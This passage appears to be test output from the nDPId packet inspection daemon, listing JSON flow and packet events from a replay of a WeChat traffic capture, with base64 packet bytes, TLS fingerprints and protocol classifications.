dXXWwrFUIr6v3fkgLWFnsbKye959Q1kdbEnV3vZ7Y7PUHPegerW0VwlRbIfwf31BM6cvlaC54jKnJRlLl4RfJDF+Me7nK8deeryq6YfbHeDwpz+S\/vwHz6Zw0r1jtLGQran4jGICbi6dDtcFBodp4788Vjs2u8fZiS3c4aATqhgOFYtIP+0x5IwYR6LcSpWsanAoEeQZKgrUIi\/zsQTRMHLpt\/Be9PV92VKGtSiy7tXrc9PP9M2byeH3MI7LQqdjlf\/PS1t2KfaJg5Wgcgpf8LKojTyqWuXdYymr3khRr8YFfrPSPfGxt4J3J8aRBx4DguTH586DUZgidtfdhsGO7XxaDMu+Sj3GZ9\/p+nuFHCtIH43qUYPnTOGHyWTErmug877DXN+iGWjs7eFc5rJtwiH1lEzCYsFHL7KL+H5zGR3taPCP2GExvDi434s9TEY2d74ESZZyR+EckHYsXn2kAuniATLe25tAbZdcLrpZs1GVJndduxhmhHd11aec2NMf0CIwRmjRN9WfC9KTdFI1XlLV0wIbYi1SNeH2p+ffZqD8ZNSq5iq8wnOcYKVrqViJM2UKRSt8\/KaN5sXzHfmqvIVlu5LiPm8DdHLuJp8kKLEPvGHxVkXa16DDtuVmYGN3zCgb\/fIvA++6nLx+tfsuQSqm6q3dDae76rkPRwehw2Af8O2C30XsMBaOqGCYOlWKGDGBps8qerTsU+BjieilKxETnBzJxLGLQOTi1vwiPhy4UvmrYhnaNISMIWY9c8OxC97D7mtwRhO3RUkxq0Vm0Bum2ko\/dsE62XkJ6OQjcUmo56lFntLAg48b8UDwSGR77HGapiEIlQ8OR3wlJjnjHWSWIJk4dV2qA67KKyMcOLTnzLStYYWvBXr+89YEKnsvampoIaKMU855gBl7HAvKy7cV5D6wgwSpIruVuLAl7Sum7XdC1Kmd9BPMUq0iFASPw1ClqnWGwyqw31CHWMMIpNI2mwkusKHd0jsx4rsuAM\/Ksok6imzjUWg0E1C40uuUAGbhgSMRzOqCAkMTAWsfy8DpvLKTGZbFnszOkW134J5jHFFuEFJFiPuVVL8M8lA"} +00424{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":250115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA02dBAAC0GTdTLzZeiwKgBZwG701iyhnqU53mN5oAQAHjRqQAAAQEICkWto0QAMR5q"} +02344{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":251036,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI2dFAAC0GSD\/LzZeiwKgBZwG701iyhnqU53mN5oAQAHgD6AAAAQEICkWto0UAMR5qFgMDAF0CAABZAwMQyj9bbiaPkZ2Xb3zWKEOFcszlPlUALGGF4F9n4cC9IiDqltGHEEOjKzGx6kNwPHwxPh3WsTKhUSaEhLoaKlfYzcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":648,"source":"wechat.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1492167455528,"flow_last_seen":1492167456251,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54104,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":251067,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0kupAAEAGglrAqAFny82XotNYAbvneY3msoaAKIAQAPvLNwAAAQEICgAxHsRFraNF"} +02347{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":251627,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI2dJAAC0GSD7LzZeiwKgBZwG701iyhoAo53mN5oAQAHhdywAAAQEICkWto0UAMR5qi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRppmH8i+60HAbfTvc3xrcF3kHQR5qAmyZW25jCWYkU3FVgzVXITZim69Ml6n3ZD\/8CuP\/PuMiAsIMJSiS22QraBgEBADtaHh5m"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":650,"source":"wechat.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":8,"flow_first_seen":1492167455528,"flow_last_seen":1492167456251,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54104,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":251652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0kutAAEAGglnAqAFny82XotNYAbvneY3msoaFvIAQARHFjQAAAQEICgAxHsRFraNF"} +00782{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":252601,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE42dNAAC0GTM3LzZeiwKgBZwG701iyhoW853mN5oAYAHhaMAAAAQEICkWto0UAMR5qzoSbMlRqH7JaM3j53Tya0SGHn7w\/kJXJq++JFot5vOIiA37Z+swSemgzUvwnS+Fw2saYEzNJ+4Ye1hhr0v\/ZNIOb5jEv7gXnS4KzYyWPKLzehGWKKv1aw6z9SGGwkYsHOh+V4suW\/uLEOoNs9XfOni2rPI2bq9VakhWOli88tcieGr\/Mf4dZBEfNk53qumJ4AJLNG58v+b9FlXfGphRu0ObBSROzHoSWcZSsfppUZ+1pZeAgq7hS5l9\/5IkexrphWB3y6VwXD\/XvC3Q1lQJWMycXCgMVOSrtvqnzE+WkRt8iIJb2fDRhsWNEEJWXhabDDSZVYq5U0oTWbdoWAwMABA4AAAA="} +00425{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":252626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0kuxAAEAGgljAqAFny82XotNYAbvneY3msoaGwIAQASjEcQAAAQEICgAxHsVFraNF"} +00598{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":253751,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyku1AAEAGgdnAqAFny82XotNYAbvneY3msoaGwIAYASj2agAAAQEICgAxHsVFraNFFgMDAEYQAABCQQTMl+90f3n6IbQvcRcRI7HcLWGaHVCUB1s1OrvQxpnYMZ6jBC2wJJD7ZFLjBOTh6MSd740CZ0EmgP9EhT+VUq2UFAMDAAEBFgMDACgAAAAAAAAAAKzhbQGk8H\/1IAZFZZB9r63fYh2rPpelt\/UlfhZKCVuK"} +00495{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":609151,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn2dRAAC0GTZ3LzZeiwKgBZwG701iyhobA53mOZIAYAHhcTwAAAQEICkWto54AMR7FFAMDAAEBFgMDACi3C2ngHhtHi2MfV2Pcnrxt9lEm5HpWTvknUmhLZpDDS9lgFX9COg3T"} +00425{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":648209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ku5AAEAGglbAqAFny82XotNYAbvneY5ksoaG84AQASjDBAAAAQEICgAxHyhFraOe"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":803,"source":"wechat.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":40,"flow_first_seen":1492167378674,"flow_last_seen":1492167401175,"flow_tot_l4_data_len":17095,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":427,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54094,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":803,"source":"wechat.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":39,"flow_first_seen":1492167378926,"flow_last_seen":1492167401170,"flow_tot_l4_data_len":24397,"flow_min_l4_data_len":32,"flow_max_l4_data_len":8257,"flow_avg_l4_data_len":625,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54095,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":803,"source":"wechat.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":17,"flow_first_seen":1492167380581,"flow_last_seen":1492167401124,"flow_tot_l4_data_len":4091,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54096,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":803,"source":"wechat.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":8,"flow_first_seen":1492167382020,"flow_last_seen":1492167402666,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":20,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40740,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":803,"source":"wechat.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":8,"flow_first_seen":1492167382020,"flow_last_seen":1492167402666,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":20,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":23,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40740,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167467,"pkt_ts_usec":125789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ku9AAEAGglXAqAFny82XotNYAbvneY5ksoaG84ARASi4yAAAAQEICgAxKWNFraOe"} +00422{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167468,"pkt_ts_usec":8215,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0KNFAAEAGqhrAqAFn2DrNjsJ7AbvMOVSD1yvysIAQAT22vQAAAQEICgAxKkAyc0s1"} +00424{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167468,"pkt_ts_usec":48114,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA05nsAADQGN9DYOs2OwKgBZwG7wnvXK\/KwzDlUhIAQAVS2uAAAAQEICjJz+zYAMHos"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":44,"flow_first_seen":1492167400812,"flow_last_seen":1492167448100,"flow_tot_l4_data_len":18499,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54097,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":38,"flow_first_seen":1492167401063,"flow_last_seen":1492167448091,"flow_tot_l4_data_len":13790,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54098,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":54,"flow_first_seen":1492167452759,"flow_last_seen":1492167467498,"flow_tot_l4_data_len":34617,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":641,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54099,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":27,"flow_first_seen":1492167453010,"flow_last_seen":1492167467495,"flow_tot_l4_data_len":9614,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1764,"flow_avg_l4_data_len":356,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54100,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":86,"flow_first_seen":1492167454457,"flow_last_seen":1492167470188,"flow_tot_l4_data_len":63075,"flow_min_l4_data_len":32,"flow_max_l4_data_len":4316,"flow_avg_l4_data_len":733,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54101,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":28,"flow_first_seen":1492167454458,"flow_last_seen":1492167467494,"flow_tot_l4_data_len":17089,"flow_min_l4_data_len":32,"flow_max_l4_data_len":3148,"flow_avg_l4_data_len":610,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54102,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":96,"flow_first_seen":1492167454818,"flow_last_seen":1492167477932,"flow_tot_l4_data_len":60378,"flow_min_l4_data_len":32,"flow_max_l4_data_len":4025,"flow_avg_l4_data_len":628,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54103,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":17,"flow_first_seen":1492167455528,"flow_last_seen":1492167467498,"flow_tot_l4_data_len":4091,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54104,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1492167617247,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54109,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":247730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA044hAAEAGMbzAqAFny82XotNdAbtNZ116WRhNMIARAViFkQAAAQEICgAxu\/1F0qIP"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":841,"source":"wechat.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1492167617247,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":247977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0trJAAEAGXpLAqAFny82XotNeAbstqSV4qlMZrIARASwk9gAAAQEICgAxu\/1Frj0D"} 